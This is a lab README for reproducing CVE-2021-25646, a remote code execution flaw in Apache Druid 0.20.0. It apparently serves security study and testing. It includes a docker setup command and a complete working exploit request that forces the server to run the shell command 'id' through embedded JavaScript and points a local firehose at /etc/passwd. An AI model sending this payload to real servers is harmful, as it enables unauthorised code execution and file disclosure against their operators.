Aaron
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78 lines
2.6 KiB
Markdown
78 lines
2.6 KiB
Markdown
# Apache Druid Embedded Javascript Remote Code Execution (CVE-2021-25646)
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[中文版本(Chinese version)](README.zh-cn.md)
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Apache Druid is an open source, distributed data store that is designed for ingesting high volumes of data to provide instant data visibility, ad-hoc analytics and queries with low latency and high concurrency.
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Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests. This functionality is intended for use in high-trust environments, and is disabled by default. However, in Druid 0.20.0 and earlier, it is possible for an authenticated user to send a specially-crafted request that forces Druid to run user-provided JavaScript code for that request, regardless of server configuration. This can be leveraged to execute code on the target machine with the privileges of the Druid server process.
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References:
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- <https://blogs.juniper.net/en-us/threat-research/cve-2021-25646-apache-druid-embedded-javascript-remote-code-execution>
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- <https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw>
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## Vulnerable Environment
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Execute following command to start an Apache Druid server 0.20.0:
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```
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docker compose up -d
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```
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After server is started, you can see the home page of Apache Druid on `http://your-ip:8888`.
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## Exploit
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Send this request to the server:
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```
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POST /druid/indexer/v1/sampler HTTP/1.1
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Host: your-ip:8888
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/json
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{
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"type":"index",
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"spec":{
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"ioConfig":{
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"type":"index",
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"firehose":{
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"type":"local",
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"baseDir":"/etc",
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"filter":"passwd"
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}
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},
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"dataSchema":{
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"dataSource":"test",
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"parser":{
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"parseSpec":{
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"format":"javascript",
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"timestampSpec":{
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},
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"dimensionsSpec":{
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},
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"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
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"":{
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"enabled":"true"
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}
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}
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}
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}
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},
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"samplerConfig":{
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"numRows":10
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}
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}
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```
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You will see the output of the `id` command:
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